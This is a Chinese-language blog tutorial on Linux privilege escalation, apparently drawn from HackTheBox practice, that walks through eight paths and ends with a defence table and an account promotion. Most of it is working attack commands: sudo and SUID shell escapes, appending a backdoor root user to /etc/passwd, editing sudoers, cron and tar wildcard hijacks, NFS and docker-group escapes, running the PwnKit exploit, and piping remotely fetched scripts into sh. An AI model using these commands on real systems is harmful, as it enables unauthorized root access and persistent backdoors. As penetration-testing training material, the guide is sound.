Skip to content

Linux 提权完全指南:打了 30 台靶机总结的 8 条高频路径

声明:本文内容仅用于授权渗透测试和安全研究学习,所有示例均基于 HackTheBox 等合法靶机平台。


引言:从 www-data 到 root 的距离

每次打 Linux 靶机,拿到 www-data shell 的那一刻既开心又焦虑——开心的是脚踏进去了,焦虑的是还差得远。

Linux 提权路径比 Windows 多,但也更有规律可循。打了几十台 Linux 靶机之后,我发现 90% 的提权都逃不出这 8 条路径:sudo 配置错误、SUID 滥用、Cron 计划任务、内核漏洞、密码/凭据泄露、文件权限错误、NFS 配置问题、容器逃逸。

这篇文章把这 8 条路径系统梳理一遍,每条路径都有原理解释、检测命令、实战案例。


一、拿到 Shell 之后的第一件事

永远不要急着提权,先把枚举做完。

我踩的最大的坑:拿到 shell 立刻开始翻 SUID,找了半天,结果答案是 sudo -l 的第一行。

必做的枚举清单

bash
# 身份信息
id && whoami
sudo -l              # ← 这条是重中之重,马上执行

# 系统信息
uname -a
cat /etc/os-release
cat /proc/version

# 网络
ss -tlnp
cat /etc/hosts

# 敏感文件快速扫
cat ~/.bash_history
find / -name "*.env" 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null | head -20
find / -name "id_rsa" 2>/dev/null

自动化工具

bash
# LinPEAS(最推荐)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# 没有网络时,本机传输
python3 -m http.server 8888   # 攻击机
curl http://<你的IP>:8888/linpeas.sh | sh  # 目标机

# pspy(监控进程,找隐藏cron)
./pspy64 -pf -i 1000

二、8 条高频提权路径

路径 1:sudo 配置错误(命中率最高)

执行 sudo -l 是 Linux 提权的第一步,没有之一。

bash
sudo -l

任何 (ALL) NOPASSWD: 的条目都是提权入口。

高频可利用的 sudo 配置

bash
# vim(直接开 shell)
sudo vim -c ':!/bin/bash'

# python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# find(常被忽视)
sudo find / -exec /bin/bash \; -quit

# less(交互式 shell)
sudo less /etc/passwd
!/bin/bash        # 在 less 中输入

# awk
sudo awk 'BEGIN {system("/bin/bash")}'

# nmap(旧版)
sudo nmap --interactive
!sh

# cp(覆盖 sudoers 给自己提权)
echo "$(id -un) ALL=(ALL) NOPASSWD:ALL" | sudo cp /dev/stdin /etc/sudoers

# tar(带通配符时——常见 CTF 场景)
sudo tar -xvf archive.tar --checkpoint=1 --checkpoint-action=exec=bash

查询任意命令的利用方式:GTFOBins

真实案例(HTB Bashed):靶机允许 sudo -u scriptmanager /bin/bash,切换到 scriptmanager 后发现 /scripts/ 目录下有 root 执行的脚本,改写脚本直接拿 root。


路径 2:SUID / SGID 滥用

bash
# 查找所有 SUID 文件
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null

高频可利用的 SUID 二进制

命令利用方式
findfind . -exec /bin/bash -p \; -quit
vimvim -c ':!/bin/bash'
pythonpython -c 'import os; os.execl("/bin/bash","sh","-p")'
bash/bin/bash -p
cp覆盖 /etc/passwd 或 /etc/sudoers
perlperl -e 'exec "/bin/bash";'
pkexecCVE-2021-4034 (PwnKit),几乎通杀所有 Linux

自定义程序有 SUID:这是 HTB 高难靶机的常见考点。找到自定义程序后:

  1. strings / ltrace / strace 分析行为
  2. 检查是否有路径劫持漏洞(用相对路径调用系统命令)
  3. 检查是否有库劫持(LD_PRELOAD 相关)
bash
# 路径劫持示例:程序内部执行 `cat /etc/passwd` (没有绝对路径)
export PATH=/tmp:$PATH
echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
./vulnerable_suid_binary

路径 3:Cron 计划任务(第三高频,被严重低估)

很多人看 crontab 只看 /etc/crontab,但 pspy 会告诉你更多。

bash
# 查看各类 cron
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
ls -la /var/spool/cron/

# 必跑:pspy 监控实时执行的 root 进程
./pspy64
# 等待 2-3 分钟,观察以 UID=0 执行的命令

三种常见利用方式

方式一:脚本文件可写

bash
# root 执行 /opt/backup.sh,脚本可写
echo 'chmod +s /bin/bash' >> /opt/backup.sh
# 等待 cron 执行后
/bin/bash -p

方式二:PATH 劫持(脚本用相对路径)

bash
# /etc/crontab 中:PATH=/home/user:/usr/local/bin:/usr/bin:/bin
# backup.sh 中调用了 `tar`(没有绝对路径)
echo 'chmod +s /bin/bash' > /home/user/tar
chmod +x /home/user/tar

方式三:通配符注入(tar * / rsync * 的经典陷阱)

bash
# root cron 执行:tar -czf /backup.tgz /home/user/*
# 利用:在 /home/user/ 下创建特殊文件名
echo 'chmod +s /bin/bash' > /home/user/run.sh
chmod +x /home/user/run.sh
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=sh run.sh'
# 等待 cron 执行,bash 变成 SUID
/bin/bash -p

路径 4:内核漏洞(精准打击)

bash
# 确认内核版本
uname -r

# 自动检测可利用的内核漏洞
./linux-exploit-suggester.sh
python3 linux-exploit-suggester-2.py

当前最高价值内核漏洞

漏洞名称CVE影响范围备注
PwnKitCVE-2021-4034几乎所有 Linuxpkexec SUID,通杀
DirtyPipeCVE-2022-0847内核 5.8-5.16.11写任意只读文件
DirtyCowCVE-2016-5195内核 < 4.8.3老靶机常见
Looney TunablesCVE-2023-4911glibc 2.34-2.38比较新
Baron SameditCVE-2021-3156Sudo < 1.9.5p2Sudo 缓冲区溢出

PwnKit 的通杀性:CVE-2021-4034 影响 2009 年以来几乎所有 Linux 发行版,利用 pkexec 的 SUID 写入,利用代码公开且易用。

bash
# PwnKit 利用
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034 && make && ./cve-2021-4034

路径 5:密码与凭据搜索

bash
# 历史命令(高命中率)
cat ~/.bash_history
cat ~/.zsh_history

# Web 应用配置文件(数据库密码)
find /var/www -name "*.php" -exec grep -l "password\|passwd\|db_pass" {} \;
cat /var/www/html/config.php
find / -name "wp-config.php" 2>/dev/null

# .env 文件
find / -name ".env" 2>/dev/null

# SSH 私钥
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null

# 全局密码搜索
grep -r "password" /home/ /opt/ /var/ 2>/dev/null | grep -v ".pyc\|Binary" | head -30

一个反复奏效的经验:找到数据库密码后,一定要尝试这个密码 SSH 登录其他用户。现实中密码重用无处不在,HTB 靶机也有意模拟这一点。


路径 6:文件权限漏洞

bash
# /etc/passwd 全局可写(最危险)
ls -la /etc/passwd
# 如果可写,追加新 root 用户:
openssl passwd -1 hacked    # 生成密码哈希
echo 'backdoor:$1$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su backdoor

# /etc/sudoers 可写
echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

# 查找全局可写的关键文件
find / -writable -type f 2>/dev/null | grep -E "cron|sudoers|passwd|shadow|hosts"

路径 7:NFS 错误配置

bash
# 检测 NFS
cat /etc/exports
showmount -e <target>

# 关键:no_root_squash 配置
# 如果某个共享目录有 no_root_squash,攻击机的 root 挂载后同样是 root

利用方式(攻击机执行):

bash
mkdir /tmp/nfs_mount
mount -o rw,vers=3 <target>:/shared /tmp/nfs_mount
# 创建 SUID bash
cp /bin/bash /tmp/nfs_mount/bash_suid
chmod +s /tmp/nfs_mount/bash_suid
# 目标机执行
/path/to/bash_suid -p

路径 8:Docker / LXC 逃逸

bash
# 检测是否在容器内
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv

# 检测当前用户是否在 docker 组
id | grep docker

docker 组成员 = root 权限

bash
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 直接拿宿主机 root shell

三、提权决策流程图

拿到 Linux Shell

sudo -l ── 有 NOPASSWD 条目? ──→ GTFOBins 查利用 → root
    ↓ NO
SUID 扫描 ── 有可利用的二进制? ──→ GTFOBins / 逆向分析 → root
    ↓ NO
LinPEAS 全扫描 ── 看高亮输出

bash_history / 配置文件 ── 有密码? ──→ su / SSH 切换 → 提权
    ↓ NO
crontab + pspy ── 有 root 脚本可写? ──→ 修改脚本 → root
    ↓ NO
文件权限 ── /etc/passwd 可写? ──→ 追加 root 用户 → root
    ↓ NO
内核版本 ── PwnKit / DirtyPipe? ──→ CVE 利用 → root
    ↓ NO
NFS / docker 组 ──→ 逃逸

四、Shell 升级(必做)

很多人忽略这一步,结果 Ctrl+C 直接断了。

bash
# 方法1:Python(最通用)
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 方法2:完整交互式 TTY(推荐,可以用 Ctrl+C、方向键、Tab)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 然后 Ctrl+Z 挂起
stty raw -echo; fg     # 攻击机执行
# 回到目标 shell 后
export TERM=xterm
stty rows 40 columns 150

五、蓝队防御建议

攻击路径防御措施
sudo 滥用最小化 sudo 权限;避免 NOPASSWD;定期审计 /etc/sudoers
SUID 滥用仅保留必要的 SUID 二进制;定期扫描变化
Cron 脚本可写严格控制 cron 脚本文件权限;使用绝对路径
内核漏洞及时更新内核;使用 SELinux/AppArmor
凭据泄露配置文件不存明文密码;审计历史命令记录
/etc/passwd 可写检查 DAC;关键文件使用不可变属性(chattr +i)
NFS no_root_squash审计 /etc/exports;用 root_squash 替代
docker 组不随意将用户加入 docker 组;使用 rootless docker

关键收获

  1. sudo -l 是 Linux 提权的第一关:任何 NOPASSWD 条目都是提权入口,不管是 vim 还是 tar,查 GTFOBins 必有解法。
  2. pspy 是隐藏 Cron 的克星:很多 root cron 任务不在 /etc/crontab,但会在 pspy 里暴露。
  3. PwnKit 几乎通杀:遇到没有明显提权点的靶机,先跑一下 CVE-2021-4034,成功率极高。

参考资料

公众号

关注「极客零零七」

每周实战攻防干货 · HTB Writeup · 独家速查资料

  • 回复 提权 → Windows+Linux 提权速查 PDF
  • 回复 AD攻击 → AD 域渗透攻击手册
  • 回复 靶机 → HTB 靶机推荐清单
  • 回复 OSCP → OSCP 备考完整路线图
极客零零七 公众号二维码

扫码关注

⚠️ 内容仅供学习交流使用 | 本站访问量